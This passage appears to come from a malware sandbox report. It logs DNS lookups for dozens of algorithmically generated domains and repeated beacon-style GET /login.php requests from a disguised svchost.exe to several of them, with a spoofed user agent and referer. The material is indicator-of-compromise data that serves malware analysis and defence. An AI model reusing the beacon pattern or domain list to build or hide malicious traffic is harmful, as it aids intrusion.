                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.893702030 CET1.1.1.1192.168.2.40xf039Name error (3)lysyxuj.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.895294905 CET1.1.1.1192.168.2.40x39d1Name error (3)vocyjik.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.895762920 CET1.1.1.1192.168.2.40x84e2Name error (3)pufypuv.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.902915955 CET1.1.1.1192.168.2.40x75ecName error (3)purytyp.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.904483080 CET1.1.1.1192.168.2.40xd3e7Name error (3)vopyput.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.905622005 CET1.1.1.1192.168.2.40xf819Name error (3)vojybef.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.906668901 CET1.1.1.1192.168.2.40x6ddaName error (3)puvyjiq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.908482075 CET1.1.1.1192.168.2.40x1799Name error (3)qekynyv.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.910599947 CET1.1.1.1192.168.2.40xaaf0Name error (3)lysysir.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.911011934 CET1.1.1.1192.168.2.40xebc3Name error (3)puzygyl.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.911159039 CET1.1.1.1192.168.2.40xff4bName error (3)qedyxuq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.912220001 CET1.1.1.1192.168.2.40xe046Name error (3)vonykam.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.912237883 CET1.1.1.1192.168.2.40xb3c2Name error (3)pufycog.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.913244963 CET1.1.1.1192.168.2.40xb26cName error (3)gadycih.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.913259029 CET1.1.1.1192.168.2.40x2473Name error (3)ganykah.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.914494038 CET1.1.1.1192.168.2.40xe3dbName error (3)gaqyres.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.916372061 CET1.1.1.1192.168.2.40x36faName error (3)pupypil.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.927210093 CET1.1.1.1192.168.2.40x1755Name error (3)lyrytyx.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.928366899 CET1.1.1.1192.168.2.40xd8c5Name error (3)pumywov.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.928668022 CET1.1.1.1192.168.2.40xe2bName error (3)qexyhul.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.928941011 CET1.1.1.1192.168.2.40x1b7Name error (3)lymylen.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.928957939 CET1.1.1.1192.168.2.40xfdc9Name error (3)volymuc.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.930039883 CET1.1.1.1192.168.2.40x60f6Name error (3)lymywad.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.930054903 CET1.1.1.1192.168.2.40x8af2Name error (3)lygyvon.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.930567980 CET1.1.1.1192.168.2.40xbb70Name error (3)volygyt.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.930583000 CET1.1.1.1192.168.2.40x2ca1Name error (3)vowyrec.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.933763981 CET1.1.1.1192.168.2.40x99e2Name error (3)pumyleg.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.934626102 CET1.1.1.1192.168.2.40x25b3Name error (3)galynus.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.935329914 CET1.1.1.1192.168.2.40x2497Name error (3)qetytup.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.935483932 CET1.1.1.1192.168.2.40x8640Name error (3)qeqyrav.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.938596964 CET1.1.1.1192.168.2.40x5ff3Name error (3)qekyfep.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.943936110 CET1.1.1.1192.168.2.40x8d76Name error (3)vonyqof.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.948550940 CET1.1.1.1192.168.2.40x1bd6Name error (3)qexynyq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.950295925 CET1.1.1.1192.168.2.40x4b9bName error (3)lygysid.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.954269886 CET1.1.1.1192.168.2.40xa771Name error (3)vofycim.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.955115080 CET1.1.1.1192.168.2.40xba10Name error (3)lyxygur.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.961913109 CET1.1.1.1192.168.2.40x10ddName error (3)pupyxuq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.962872028 CET1.1.1.1192.168.2.40x70ebName error (3)vopyzyk.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.964833021 CET1.1.1.1192.168.2.40x93e5Name error (3)lyvymun.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.964852095 CET1.1.1.1192.168.2.40x6d23Name error (3)vojydoc.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.965126038 CET1.1.1.1192.168.2.40x8dc3Name error (3)qetylel.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.965519905 CET1.1.1.1192.168.2.40xb504Name error (3)qegysiv.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.965533972 CET1.1.1.1192.168.2.40x6fe3Name error (3)lykyfax.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.966303110 CET1.1.1.1192.168.2.40x3fbaName error (3)puvymug.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.966598988 CET1.1.1.1192.168.2.40x2410Name error (3)vowykat.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.968604088 CET1.1.1.1192.168.2.40x88d7Name error (3)purylal.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.973547935 CET1.1.1.1192.168.2.40xeca5Name error (3)gatyzyw.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.983607054 CET1.1.1.1192.168.2.40x6685Name error (3)qebyqig.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.984635115 CET1.1.1.1192.168.2.40x7328Name error (3)pujydap.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.986336946 CET1.1.1.1192.168.2.40xd4f7Name error (3)ganyqib.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.986352921 CET1.1.1.1192.168.2.40x7805Name error (3)gahydos.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.988009930 CET1.1.1.1192.168.2.40xf6a5Name error (3)vocymum.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.989065886 CET1.1.1.1192.168.2.40x86e5Name error (3)lyryler.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.989218950 CET1.1.1.1192.168.2.40x76b1Name error (3)gacynyh.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.012670994 CET1.1.1.1192.168.2.40x63b9Name error (3)volybak.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.016923904 CET1.1.1.1192.168.2.40xe722Name error (3)gaqykoz.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.022022963 CET1.1.1.1192.168.2.40xa513Name error (3)qedytyg.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.022957087 CET1.1.1.1192.168.2.40xa4a8Name error (3)galyvaw.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.025907040 CET1.1.1.1192.168.2.40x3fa1Name error (3)vonyjuc.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.028458118 CET1.1.1.1192.168.2.40xb76fName error (3)lykyvor.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.028918982 CET1.1.1.1192.168.2.40x2b0aName error (3)lysytyn.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.028933048 CET1.1.1.1192.168.2.40xb4abName error (3)qeqykop.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.029059887 CET1.1.1.1192.168.2.40xe5adName error (3)lymyjix.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.029223919 CET1.1.1.1192.168.2.40x369bName error (3)vojycit.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.029234886 CET1.1.1.1192.168.2.40xc3bdName error (3)ganyhus.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.030225992 CET1.1.1.1192.168.2.40xd8eeName error (3)vopyrem.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.030731916 CET1.1.1.1192.168.2.40xa876Name error (3)pumyjip.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.030977011 CET1.1.1.1192.168.2.40xaa52Name error (3)vofypuf.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.030992031 CET1.1.1.1192.168.2.40x4b8fName error (3)qebyhuv.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.032284975 CET1.1.1.1192.168.2.40x236dName error (3)gatyrah.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.032300949 CET1.1.1.1192.168.2.40x5307Name error (3)lyxynej.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.032313108 CET1.1.1.1192.168.2.40xae5Name error (3)qetyraq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.033301115 CET1.1.1.1192.168.2.40x360eName error (3)puvygyv.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.033730030 CET1.1.1.1192.168.2.40x4f78Name error (3)gadypub.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.038695097 CET1.1.1.1192.168.2.40xce9aName error (3)puzybeq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.040330887 CET1.1.1.1192.168.2.40x7ac1Name error (3)pujycil.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.050266027 CET1.1.1.1192.168.2.40x800aName error (3)pupyteg.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.052360058 CET1.1.1.1192.168.2.40xe661Name error (3)qekyvol.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.066751003 CET1.1.1.1192.168.2.40xea7cName error (3)purywoq.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.067882061 CET1.1.1.1192.168.2.40xc3adName error (3)qegyxup.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.067907095 CET1.1.1.1192.168.2.40xe9e6Name error (3)gaqyqiw.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.068264961 CET1.1.1.1192.168.2.40xc13dName error (3)qeqyqul.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.068837881 CET1.1.1.1192.168.2.40x3562Name error (3)pufyxyp.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.070341110 CET1.1.1.1192.168.2.40x2cbfName error (3)lyrywoj.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.070611000 CET1.1.1.1192.168.2.40x13cbName error (3)gacyfeb.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.071506977 CET1.1.1.1192.168.2.40x4edaName error (3)puzydog.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.075697899 CET1.1.1.1192.168.2.40x99b5Name error (3)lyvygyd.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.089149952 CET1.1.1.1192.168.2.40xabffName error (3)vocygef.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.089596987 CET1.1.1.1192.168.2.40x3a20Name error (3)gahycuz.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.090854883 CET1.1.1.1192.168.2.40x1421Name error (3)qexyfag.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.091470003 CET1.1.1.1192.168.2.40x75beName error (3)lyxyfan.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.093799114 CET1.1.1.1192.168.2.40x3d21Name error (3)lygyxux.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.093821049 CET1.1.1.1192.168.2.40x597Name error (3)vowyqik.comnonenoneA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:24.094360113 CET1.1.1.1192.168.2.40xa392Name error (3)vofyzyc.comnonenoneA (IP address)IN (0x0001)false

                                                                                                                                                                                                                    HTTP Packets

                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    0192.168.2.4497313.94.10.34807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.856730938 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: lymyxid.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.283157110 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:20 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                    Set-Cookie: btst=d49d5951c50bfddcd538c170c4b2f525|66.23.206.109|1731347300|1731347300|0|1|0; path=/; domain=.lymyxid.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                                    Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                                    Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    1192.168.2.449732188.114.96.3807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.881164074 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyhig.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.642287970 CET961INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:20 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: https://qegyhig.com/login.php
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KwOvPJlZ3CqBWA9X13mmIhn%2FfufVrQme%2Bq7EeXC2O22YrQSPS0eV3Z6kVp1TnbtaiLaAS4Tq7AYho1EkJFadRXJaFIaspgkz2DC0iiK7ZGZW4KNvdN1h9SQxmqcw5w%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101cd2d85a433f-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1167&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                                    Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
                                                                                                                                                                                                                    Nov 11, 2024 18:48:20.642379999 CET5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: 0
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.217853069 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyhig.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:22.624031067 CET976INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:22 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: https://qegyhig.com/login.php
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4urapPrO4r3H1TB%2BeIUC8sKuL9R6w4ygJxmTjU7soMcY5RPDMnyhcVZ289r%2FDcxZu5bHJC24JZjRM055GGZ4XJNTCYYKubW%2BcQSM6oOJ5BIzunS3hZ7MsUokybxAFQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101cdf1b88433f-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1161&sent=4&recv=6&lost=0&retrans=0&sent_bytes=966&recv_bytes=486&delivery_rate=2341147&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                                    Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.608544111 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyhig.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.939297915 CET804INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:48 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: https://qegyhig.com/login.php
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D0uZzgwWC4%2FtLJS56D8wq4k687SIFfZvCFpb6OoUCrBa2eo4Cy0UisV7LELbPrv3iG4Vo%2BzX2qvXa73sjji2FgkcQZSUTEx4UTxcptQ%2B4y0XwPSwofJHkxHhJntD0g%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101d84082c433f-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1175&sent=7&recv=9&lost=0&retrans=0&sent_bytes=1942&recv_bytes=729&delivery_rate=2341147&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.939726114 CET173INData Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31
                                                                                                                                                                                                                    Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.853024960 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                                    Referer: http://www.google.com
                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                                    Host: qegyhig.com
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.253891945 CET806INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                    Date: Mon, 11 Nov 2024 17:48:51 GMT
                                                                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                    Location: https://qegyhig.com/login.php
                                                                                                                                                                                                                    cf-cache-status: DYNAMIC
                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oKuFJ7vCAFj0VHZCvCbQTrkb%2B7pmrgZPtrVitan%2F9Qs3LDJAwerW%2FZ5C50hG9lG%2FSvQNFY9kolka07hdx5pD5SG0DqZy9gGcwdzfkMYe1nbabu8gyTYCaV3UMpF2pA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                                                                    CF-RAY: 8e101d920cc0433f-EWR
                                                                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1158&sent=11&recv=13&lost=0&retrans=0&sent_bytes=2919&recv_bytes=972&delivery_rate=2380273&cwnd=4&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.254733086 CET168INData Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31
                                                                                                                                                                                                                    Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.254800081 CET5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                    Data Ascii: 0


                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                    2192.168.2.44973375.2.71.199807436C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                    Nov 11, 2024 18:48:19.891871929 CET243OUTGET /login.php HTTP/1.1
